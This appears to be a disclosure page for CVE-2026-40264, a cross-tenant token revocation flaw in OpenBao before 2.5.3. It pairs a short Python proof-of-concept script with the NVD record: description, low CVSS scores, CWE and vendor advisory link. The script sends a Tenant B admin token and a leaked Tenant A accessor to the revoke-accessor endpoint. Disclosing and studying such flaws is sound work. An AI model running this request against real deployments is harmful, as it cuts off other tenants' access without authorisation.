CVE-2026-40264

# Conceptual PoC for CVE-2026-40264 # This script demonstrates how an admin in Tenant B could revoke a token from Tenant A # using a leaked token accessor. import requests # Configuration TARGET_URL = "https://openbao-server:8200" TENANT_B_ADMIN_TOKEN = "s.1234567890abcdef" # High privilege token for Tenant B LEAKED_ACCESSOR_FROM_TENANT_A = "abcd1234-5678-90ef-ghij-klmnopqrstuv" # Leased from Tenant A headers = { "X-Vault-Token": TENANT_B_ADMIN_TOKEN, "X-Vault-Namespace": "tenant-b" # Admin is operating in Tenant B context } # The revoke endpoint usually takes an accessor # In the vulnerable version, it does not check if the accessor belongs to Tenant B data = { "token": LEAKED_ACCESSOR_FROM_TENANT_A, "_accessor": "true" } try: response = requests.post(f"{TARGET_URL}/v1/auth/token/revoke-accessor", headers=headers, json=data) if response.status_code == 204: print("[+] Successfully revoked token from another tenant using leaked accessor!") else: print(f"[-] Failed to revoke token. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[Error] {e}")

{"cve": {"id": "CVE-2026-40264", "sourceIdentifier": "[email protected]", "published": "2026-04-21T01:16:06.917", "lastModified": "2026-04-24T13:29:24.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenBao is an open source identity-based secrets management system. OpenBao's namespaces provide multi-tenant separation. Prior to version 2.5.3, a tenant who leaks token accessors can have their token revoked or renewed by a privileged administrator in another tenant. This is addressed in v2.5.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1259"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbao:openbao:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.3", "matchCriteriaId": "FB9CD431-A4A7-47AC-8111-76D4F60A9D07"}]}]}], "references": [{"url": "https://github.com/openbao/openbao/security/advisories/GHSA-p49j-v9wc-wg57", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}